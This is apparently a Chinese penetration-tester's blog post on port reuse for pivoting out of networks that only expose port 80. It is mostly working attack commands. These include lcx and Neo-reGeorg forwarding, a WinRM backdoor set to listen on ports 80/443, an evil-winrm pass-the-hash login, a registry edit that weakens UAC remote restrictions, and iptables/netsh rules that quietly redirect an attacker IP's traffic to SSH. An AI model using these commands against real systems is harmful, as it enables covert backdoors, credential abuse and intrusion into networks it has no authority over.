前言
就在昨天一个大佬被提及面试腾讯的经历,嗯?也就那样吧,很基础。。。。。。。这就是大佬吧,膜拜大佬!然后我好奇的看了一下面试的一些问题,然后其中一个实战问题让我来了兴趣,问如果整站被web.config做了出站限制,在不更改web.config的情况下如何转发?唉,我知道,但是我就不说,我就是玩儿!
这让我想到面试zteam的时候,大佬问我,如果做了端口限制,只开80,不出网,如何实现内网穿透,一层还好,就直接上http代理就行,多层内网就不行,这时候就需要用到端口复用。
资料参考
端口复用,顾名思义,就是一个端口多个应用程序使用,在常理看来,一个端口就一个应用程序,但是实际上是可以的。
在windows中,lls web服务器使用HTTP.sys中的Net.tcp Port Sharing服务,配合WinRM实现端口复用,可以实现正向后门
HTTP.sys
HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序。
- 为了优化IIS服务器性能
- 从IIS6.0引入(即Windows Server 2003及以上版本)
- IIS服务进程依赖HTTP.sys
HTTP.sys监听HTTP流量,然后根据URL注册的情况去分发,以实现多个进程在同一个端口监听HTTP流量,微软公开了HTTP Server API库,Httpcfg、Netsh等都是基于它的。
整个过程描述如下:
1.注册:IIS或其他应用使用HTTP Server API时,需要先在HTTP.sys上面注册url prefix,以监听请求路径(我们可以自己注册一个url prefix)
命令:
netsh http show servicestate#查看所有在HTTP.sys上注册过的url前缀
#UrlPrefix具有以下语法
“方案://主机:端口/ relativeURI”
#example
“http://域名:80/abc/”
“https://域名:443/acd/”
“https://:域名:80 /aes/”
2.路由:HTTP.sys获取到request请求,并分发这个请求给注册当前url对应的应用。
(2) Net.tcp Port Sharing
Net.tcp Port Sharing服务是WCF(Windows Communication Foundation,微软的一个框架)中的一个新系统组件,这个服务会开启Net.tcp端口共享功能以达到在用户的不同进程之间实现端口共享。这个机制的最终是在HTTP.sys中实现的。目前将许多不同HTTP应用程序的流量复用到单个TCP端口上的HTTP.sys模型已经成为windows平台上的标准配置。
还种是利用中间的特性,还有一种思路就是,分流,监听流量,然后把指定的流量重定向到另一个端口,好多工具,程序,中间间都支持,不仅设计到端口复用,也涉及到协议复用。
实战
端口转发的情况
工具:port-multiplexing
通过setockopt函数实现对端口的重绑定,从而实现端口绑定
适用于 apache、nginx、iis(<6.0) 等
python lcx.py -l 192.168.1.222 -p 80 -r 127.0.0.1 -P 3389
当然你也可以用Neo-reGeorg实现远程端口转发到本地
python neoreg.py -k <you_password> -u <url> -t <ip:port>
还有很多工具,多层套用才能更加畅通无阻!怎么玩,看你
正向后门情况
最常用的就是winrm后门吧
此方法需要,llsweb服务才行,依赖与https.sys模块
被控主机:
winrm quickconfig -q 开启winrm服务,开启5985 管理员权限
\#设置启用httplistener监听并存
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80
winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443
攻击主机设置:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}#设置trusts
winrs -r:http://172.16.142.151:80 -u:administrator -p:admin123 "whoami"
kali:
sudo gem install evil-winrm
evil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80
因为在winrm服务中,默认是只支持administrators用户进行远程任务管理的,如果你加 了一个管理员用户上去,是受uac限制的
解决uac问题:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /
分流情况
linux:
使用iptables分流:
将对外开放的80端口流量转向本机22(只对8.8.8.0/24的来源IP有效,其他IP访问完全正常):
iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22
windows netsh好像不行,我没试过,我比较菜!
windows:
将对外开放的80端口流量转向本机9999(只对192.168.154.129的来源IP有效,其他IP访问完全正常)
netsh interface portproxy add v4tov4 listenport=80 listen
address=192.168.154.129 connectport=9999 connectaddress=192.168.154.129
frsocks+protoplex+流量重定向实现端口复用(ztem文章中的技术,十分nice!)
frsocks
https://github.com/3gstudent/Homework-of-Go/blob/master/frsocks.go
监听本地的2333端口开启一个socks5代理。
./frsocks -sockstype fsocks -listen 2333
protoplex
https://github.com/Pandentia/protoplex
这是一个协议复用的工具,比如命令可将本地9999端口的流量根据协议类型转到本地的 2333和80端口。
注: 在实战环境中,先用protoplex进行分流,然后在进行重定向。
./protoplex --socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999
同时该工具还支持其他协议的分流,如:
SSH
HTTP
TLS (/ HTTPS)
OpenVPN
SOCKS4 / SOCKS5
结论
实际上有很多工具能实现很多普通的功能,当不同的工具结合起来,会产生很nice的效果,前提是你真正懂这些工具在干嘛,基础知识还得牢固,比如你搞个ssh隧道,你都不禁ping就去扫描,能扫出来个寂寞。
END